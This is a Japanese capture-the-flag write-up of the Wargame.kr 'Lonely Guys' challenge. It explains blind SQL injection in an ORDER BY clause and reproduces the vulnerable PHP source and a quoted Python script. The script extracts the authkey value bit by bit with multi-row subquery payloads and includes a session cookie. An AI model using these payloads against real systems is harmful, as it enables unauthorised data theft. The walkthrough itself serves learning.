例によって他の人のwriteup見ました…。
参考にしたのはStay hungry, Stay foolish.:Wargame.kr – Challenge [Lonely Guys]です。
翻訳サイトにかけて読めばだいたいの流れはわかると思います。
調査
まず与えられたソースコード。
<?php if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include("./inc.php"); include("../lib.php"); //usleep(200000*rand(2,3)); if(isset($_POST['sort'])){ $sort=$_POST['sort']; }else{ $sort="asc"; } ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <style type="text/css"> body {background-color:#eaeafe;} #title {text-align:center; font-size:22pt; border:1px solid #cacaca;} #reg:hover {color:#557; cursor:pointer;} #contents {text-align:center; width:550px; margin: 30px auto;} #admin_tbl {width:100%;} #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;} #admin_tbl tbody tr td {border-bottom:1px solid #aaa;} #admin_tbl #reg {width:200px;} </style> <script type="text/javascript" src="./jquery.min.js"></script> <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script> <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script> <script type="text/javascript" src="./main.js"></script> </head> <body> <div id="title"> Lonely guys Management page </div> <div id="contents"> <table id="admin_tbl"> <thead> <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr> </thead> <tbody> <?php mysql_query("update authkey set authkey='".auth_code('lonely guys')."'"); $sort = mysql_real_escape_string($sort); $result=mysql_query("select * from guys_tbl order by reg_date $sort"); while($row=mysql_fetch_array($result)){ echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>"; } ?> </tbody> </table> </div> <div style="text-align:center;"> <a href="?view-source">view-source</a> </div> </body> </html>
41行目でなにやらauthkeyという怪しいテーブルをupdateしています。
ちなみにこのソースコードはサーバーサイドで処理されるものなので、こっちじゃauthkeyは確認できません。auth_code(‘lonely guys’)っていう関数も他の部分で定義されたものっぽくゆえに確認はできません。
このauthkeyかguys_tbl、2つのテーブルのどっちかにFLAGがあるのでしょう。と見当をつけ進めます。
SQLインジェクション可能な場所
43行目、order by reg_data の後の$sort変数がエスケープもなにもされておらずSQLインジェクションできます。
ちなみに$sortは本来ならdsc(降順)かasc(昇順)のどちらかがセットされ、並び替えの順番を指定するものですが、ロクにチェックされてませんので好きな内容にできます。
しかし、インジェクションした結果がorder by reg_dataの後に入ってエラーにならないようにしなくてはなりません。
よって、エラーを起こさないためには「なにも返さない」副問い合わせを入れる必要があります。
しかしそもそも普通のレスポンスにも表示するとこないし、エラーもなにも表示されないから、普通にSQLインジェクションしてデータをそのまま表示させようとしてもダメです。
そしてブラインドSQLインジェクションの出番です。
ブラインドSQLインジェクション (BSQLi) について
これは、たとえば、SQLインジェクションして
「1番目の文字が’a’なら1秒スリープしろ」、
すぐレスポンスが返って来たら
「1番目の文字が’b’なら1秒スリープしろ」
…などとし、
サイドチャネル攻撃的なことをします。
これを繰り返せば、1文字目、2文字目…という風に決定して行くことができます。
スリープの部分は外側から観測できるものなら何だってよいです。たとえばエラーが起こるか否かとか。もしくは直接データは表示されないものの、レスポンスの内容や長さが変わるとか。
こんな風に探して行くので時間かかりますけどね。
それでStay hungry, Stay foolish.:Wargame.kr – Challenge [Lonely Guys]からの引用コードはこちら。
import urllib2 import sys def req(data): data = "sort="+urllib.quote(data) url = "http://wargame.kr:8080/lonely_guys/index.php" opener = urllib2.build_opener(urllib2.HTTPHandler) request = urllib2.Request(url,data) request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36') request.add_header('Cookie', 'PHPSESSID=v49q7ovgd3dh0bbu5dotlauac0; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222ec176a03d75a0f2aa7c733117a7b764%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22203.234.19.105%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A102%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F44.0.2403.155+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1441691637%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Dbe4f464cce2fd702d9347b0a63d77c37ea3fb0e9') request.get_method = lambda:'POST' response = opener.open(request) response = str(response.read()) if len(response)<1400: return True else: return False print "[*] Find KEY length" for i in range(100): data = ",(select 1 from guys_tbl,authkey where 1=1 and (length(authkey)="+str(i)+"))" #print data if req(data): length = i print "[*] KEY length is "+str(i) break print "[*] Find KEY value" key = "" binary = "" for i in range(length): for j in range(8): data = ",(select 1 from guys_tbl,authkey where 1=1 and (substr(lpad(bin(ord(substr(authkey,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0))" if req(data): binary += "0" else: binary += "1" key += chr(int(binary,2)) binary = "" print "[*] KEY is ["+key+"]" #출처: http://zairo.tistory.com/entry/Wargamekr-Challenge-Lonely-Guys [Stay hungry, Stay foolish.]
さっきの例ではわかりやすさのために’a’とか’b’とかで比較していましたが、それだと1文字を確定するのにたくさんの比較が必要になります。
たとえば、a-zの26種類だとしても最悪で25回( FLAGはランダム文字列だとして平均だとたぶん12~13回?)の比較が必要になります。
本当はもっと使われている文字が多いのでさらに増えます。
こちらの引用したコードだとbitごとの比較で、それだと1文字=8bit確定するのに8回の比較で済みます。
固定で8回です。
これなら変な記号や制御文字入ってても御構い無しで8回で済みます。
なので使われる文字の種類がわかってないor多い場合はbitごとの比較が早い…。
エラー判定
さてスクリプトの中を見ればわかると思いますが、
req関数は、SQLインジェクションして、そのレスポンスの長さでエラーか正常か判断しています。
元のソースコード43行目のクエリがエラーで情報を取得できないと、画面にはなにもlonly_guyたちの情報が表示されないのでレスポンスがの長さが短くなります。
さてこのスクリプトが実行されてからの流れを見ます。
最初にFLAGの長さを調べます…
iを変えつつ、
,(select 1 from guys_tbl,authkey where 1=1 and (length(authkey)="+str(i)+"))
をインジェクションし、SQLがエラー出すかどうかで確かめます。
(from guys_tbl, authkey と一見必要ないのに2つのテーブルを指定しています。これは、select 1 from A_table B_table …としとけばテーブルの数と同じ行数、1が返るためです。)
つまり具体的には…副クエリ(カッコの中)は、もしauthkeyの長さがiだった場合、2行の1を返します。
order byは複数行副問い合わせを受け付けない(らしい詳細は下記)のでエラー(表示はされないけどSubquery returns more than 1 row とからしい)になり、レスポンスにはlonly_guyたちの情報が入らないので長さが短くなります。
order byの後に複数行副問い合わせをインジェクションしてブラインドSQLインジェクションするのは有名らしく、途中まで入れると「order by blind sql injection」がGoogle検索のサジェストに出て来ます。
NOT SO SECURE: Injection in Order by, Group by Clauseとかどうぞ。
エラーのときは情報が取得できない結果、レスポンスがいつもより少ないのでreq関数がtrueを返します。
このときのiがFLAGの長さに等しいというわけです。
次に、その中身を1bitずつ0か1か調べます。
authkeyのi文字目、のjビット目を0か1か、
,(select 1 from guys_tbl,authkey where 1=1 and (substr(lpad(bin(ord(substr(authkey,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0))
をインジェクションして調べていきます。
この後半部分のごちゃっとした部分ですが、まず
(substr(authkey,"+str(i+1)+",1)
でauthkeyのi文字目を1文字だけ切り出しています。
つぎにその1文字をordで文字コードにし、
それをbinで2真数にし、
それをlpadでパディングして8bitの二進数にし、
最後にsubstrで8bit中 jビット目を取り出して、
それを0と比較しています。
これでそのbitが0か1かわかります。
まぁ読めばわかると言えばそうなんですが。
全部自分で解けるようになりたいなぁ
コメント